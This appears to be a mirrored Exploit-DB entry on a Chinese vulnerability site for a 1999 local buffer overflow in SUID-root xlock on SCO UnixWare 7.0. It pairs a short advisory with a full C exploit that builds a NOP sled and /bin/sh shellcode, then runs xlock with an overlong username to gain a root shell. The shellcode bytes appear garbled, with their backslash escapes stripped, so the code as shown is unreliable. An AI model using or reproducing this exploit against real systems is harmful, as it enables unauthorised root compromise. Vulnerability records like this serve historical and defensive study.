SCO Unixware 7.0 – ‘xlock(1)’ ‘Username’ Local Buffer Overflow

SCO Unixware 7.0 – ‘xlock(1)’ ‘Username’ Local Buffer Overflow

漏洞ID 1053430 漏洞类型
发布时间 1999-11-25 更新时间 1999-11-25
图片[1]-SCO Unixware 7.0 – ‘xlock(1)’ ‘Username’ Local Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-SCO Unixware 7.0 – ‘xlock(1)’ ‘Username’ Local Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 SCO CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19642
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/825/info

Certain versions of Unixware ship with a version of xlock which is vulnerable to a buffer overflow attack. The xlock(1) program locks the local X display until a username and password are entered. In this instance a user can provide an overly long username and overflow a buffer in xlock(1). Given that xlock(1) runs SUID root this will result in a root compromise.

// UnixWare7 /usr/bin/xlock local, K2, revisited Oct-30-1999
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
 "xebx48x9axffxffxffxffx07xffxc3x5ex31xc0x89x46xb4"
 "x88x46xb9x88x46x07x89x46x0cx31xc0x50xb0x8dxe8xdf"
 "xffxffxffx83xc4x04x31xc0x50xb0x17xe8xd2xffxffxff"
 "x83xc4x04x31xc0x50x8dx5ex08x53x8dx1ex89x5ex08x53"
 "xb0x3bxe8xbbxffxffxffx83xc4x0cxe8xbbxffxffxffx2f"
 "x62x69x6ex2fx73x68xffxffxffxffxffxffxffxffxff";

#define SIZE 1200
#define NOPDEF 601
#define DEFOFF -400

const char x86_nop=0x90;
long nop=NOPDEF,esp;
long offset=DEFOFF;
char buffer[SIZE];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[])
{
    register int i;

    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);
    esp = get_esp();

    memset(buffer, x86_nop, SIZE);
    memcpy(buffer+nop, shell, strlen(shell));

    for (i = nop+strlen(shell); i < SIZE-4; i += 4)
        *((int *) &buffer[i]) = esp+offset;

    printf("jmp = [0x%x]toffset = [%d]n",esp+offset,offset);
    execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL);

    printf("exec failed!n");
    return 0;
}

相关推荐: IRIX and AIX automountd services (autofsd)命令执行漏洞。

IRIX and AIX automountd services (autofsd)命令执行漏洞。 漏洞ID 1207273 漏洞类型 未知 发布时间 1998-10-26 更新时间 1998-10-26 CVE编号 CVE-1999-0088 CNNVD-I…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享